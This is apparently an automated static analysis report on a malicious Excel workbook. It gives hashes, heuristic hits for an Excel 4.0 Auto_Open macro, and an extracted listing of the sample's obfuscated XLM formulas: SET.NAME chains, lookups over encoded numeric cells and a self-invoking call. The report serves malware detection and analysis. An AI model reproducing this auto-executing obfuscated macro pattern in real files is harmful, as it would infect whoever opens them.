Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bfab91d3de9c70f8…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:40:14 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: c9cc2ff35e8c5f0097989e6c52aeee2a SHA-1: c41fa75c23941e2b91472efbfcb5b666c7860cc9 SHA-256: bfab91d3de9c70f8b4960103da04555bcd47add2760b0305d283507cf9082896
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6794 bytes
SHA-256: 7d20f4e80ff1772e3aebc93a4fdd669226d3f3159270caec4e7ddf80e2e1dd92
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AbGbUrz
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E146 
' 0018     24 LABEL : Cell Value, String Constant - CByUTIaKA len=0 
' 0018     26 LABEL : Cell Value, String Constant - ehITqjUyecy len=0 
' 0018     21 LABEL : Cell Value, String Constant - eiSXPq len=0 
' 0018     27 LABEL : Cell Value, String Constant - gQZgrZbcIIHg len=0 
' 0018     24 LABEL : Cell Value, String Constant - gwVZMdrrd len=0 
' 0018     26 LABEL : Cell Value, String Constant - iFyOnPSWzoc len=0 
' 0018     21 LABEL : Cell Value, String Constant - kMMMWB len=0 
' 0018     24 LABEL : Cell Value, String Constant - llfGWPzEH len=0 
' 0018     23 LABEL : Cell Value, String Constant - PfVwWEcv len=0 
' 0018     23 LABEL : Cell Value, String Constant - pSqatJUH len=0 
' 0018     27 LABEL : Cell Value, String Constant - qtdrNrYfuPUx len=0 
' 0018     27 LABEL : Cell Value, String Constant - SeLazaTlSGen len=0 
' 0018     21 LABEL : Cell Value, String Constant - sgrmNg len=0 
' 0018     25 LABEL : Cell Value, String Constant - SzgsJcDQqh len=0 
' 0018     23 LABEL : Cell Value, String Constant - vpQQUcDW len=0 
' 0018     26 LABEL : Cell Value, String Constant - WKIvMyGmUWH len=0 
' 0018     23 LABEL : Cell Value, String Constant - XqkWHZBU len=0 
' 0018     26 LABEL : Cell Value, String Constant - xTCCziZliWG len=0 
' 0018     21 LABEL : Cell Value, String Constant - XtyEJM len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZXRnxnWNo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AbGbUrz,E52,"SET.NAME("gQZgrZbcIIHg",0+VALUE("0"))",""
'  AbGbUrz,E55,"SET.NAME("sgrmNg",gQZgrZbcIIHg)",""
'  AbGbUrz,E58,"SET.NAME("xTCCziZliWG",gQZgrZbcIIHg)",""
'  AbGbUrz,S58,"",-733.00000000000000000000
'  AbGbUrz,S59,"",-78.00000000000000000000
'  AbGbUrz,S60,"",-474.00000000000000000000
'  AbGbUrz,E61,"SET.NAME("qtdrNrYfuPUx",COUNTA(XqkWHZBU))",""
'  AbGbUrz,S61,"",-602.00000000000000000000
'  AbGbUrz,S62,"",70.00000000000000000000
'  AbGbUrz,S63,"",931.00000000000000000000
'  AbGbUrz,E64,"SET.NAME("CByUTIaKA",COUNTA(llfGWPzEH))",""
'  AbGbUrz,E68,[],""
'  AbGbUrz,E71,"SET.NAME("vpQQUcDW","")",""
'  AbGbUrz,E75,"sgrmNg",""
'  AbGbUrz,E80,"SET.NAME("pSqatJUH",HLOOKUP("*",XqkWHZBU,sgrmNg,FALSE))",""
'  AbGbUrz,E82,"SzgsJcDQqh",""
'  AbGbUrz,E86,"SET.NAME("kMMMWB",gQZgrZbcIIHg)",""
'  AbGbUrz,E89,[],""
'  AbGbUrz,E93,"kMMMWB",""
'  AbGbUrz,E98,"XtyEJM",""
'  AbGbUrz,E103,"PfVwWEcv",""
'  AbGbUrz,E107,"eiSXPq",""
'  AbGbUrz,E111,"SET.NAME("ZXRnxnWNo",VALUE(HLOOKUP("*",llfGWPzEH,eiSXPq,FALSE)))",""
'  AbGbUrz,E114,"iFyOnPSWzoc",""
'  AbGbUrz,E119,"vpQQUcDW",""
'  AbGbUrz,E121,"xTCCziZliWG",""
'  AbGbUrz,E126,NEXT(),""
'  AbGbUrz,E130,"gwVZMdrrd",""
'  AbGbUrz,E134,[],""
'  AbGbUrz,E136,"WKIvMyGmUWH",""
'  AbGbUrz,E139,NEXT(),""
'  AbGbUrz,E143,RETURN(),""
'  AbGbUrz,E170,"SET.NAME("ehITqjUyecy",E52)",""
'  AbGbUrz,E175,"XqkWHZBU",""
'  AbGbUrz,E177,"SET.NAME("llfGWPzEH",R81C15)",""
'  AbGbUrz,E180,"SET.NAME("WKIvMyGmUWH",190)",""
'  AbGbUrz,E185,"SET.NAME("SeLazaTlSGen",5)",""
'  AbGbUrz,E189,ehITqjUyecy(),""
'  AbGbUrz,E190,HALT(),""

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